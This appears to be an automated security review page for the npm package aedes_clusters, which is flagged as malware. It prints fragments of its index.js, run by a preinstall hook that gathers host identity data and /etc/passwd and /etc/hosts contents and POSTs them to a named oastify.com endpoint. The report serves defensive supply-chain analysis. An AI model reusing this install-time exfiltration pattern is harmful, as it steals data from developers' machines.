aedes_clusters@1.0.1: Malicious npm security report (Block)

AI Security Review

scanned 14d ago · by lpm-firewall-ai

Installation automatically executes index.js. It collects host identity and local system-file contents, then exfiltrates them over HTTPS.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall

Impact

Leaks installation host metadata and readable /etc/passwd and /etc/hosts contents to a third party.

Mechanism

preinstall host-data collection and HTTPS POST exfiltration

Attack narrative

During npm preinstall, package.json invokes index.js. That script gathers system identity details and reads /etc/passwd and /etc/hosts if available, serializes the data, and sends it by HTTPS POST to a fixed Burp Collaborator-style endpoint.

Rationale

Direct source inspection confirms an unconsented install-time data-exfiltration chain. The package has no apparent functional implementation beyond this behavior.

Evidence

package.jsonindex.js/etc/passwd/etc/hosts

Network endpoints1

b5hv16nakzo45px5ga4ukkum8de52vqk.oastify.com

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-12033

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in aedes_clusters (npm)

Details

The package's package.json declares a `preinstall: node index.js` hook that fires automatically on `npm install`. index.js collects host reconnaissance data (os.hostname(), os.userInfo().username, home directory, DNS server configuration) and reads local system files including /etc/passwd and /etc/hosts, then HTTPS-POSTs the collected data to the hardcoded Burp Collaborator subdomain b5hv16nakzo45px5ga4ukkum8de52vqk.oastify.com. oastify.com is Burp Suite's out-of-band interaction service, commonly used as an attacker-controlled exfiltration sink. There is no legitimate functionality; the package's sole install-time behavior is host recon and data exfiltration.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node index.js` in preinstall.
index.js collects hostname, username, home directory, DNS servers, and install path.
index.js reads /etc/passwd and /etc/hosts when present.
index.js POSTs collected data to an oastify.com host.

Evidence against

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.97 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = jobber-app-template-react@1.0.1 matchedPath = index.js matchedIdentity = npm:[redacted]:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = jobber-app-template-react@1.0.1 matchedPath = index.js matchedIdentity = npm:[redacted]:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

Findings

5 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings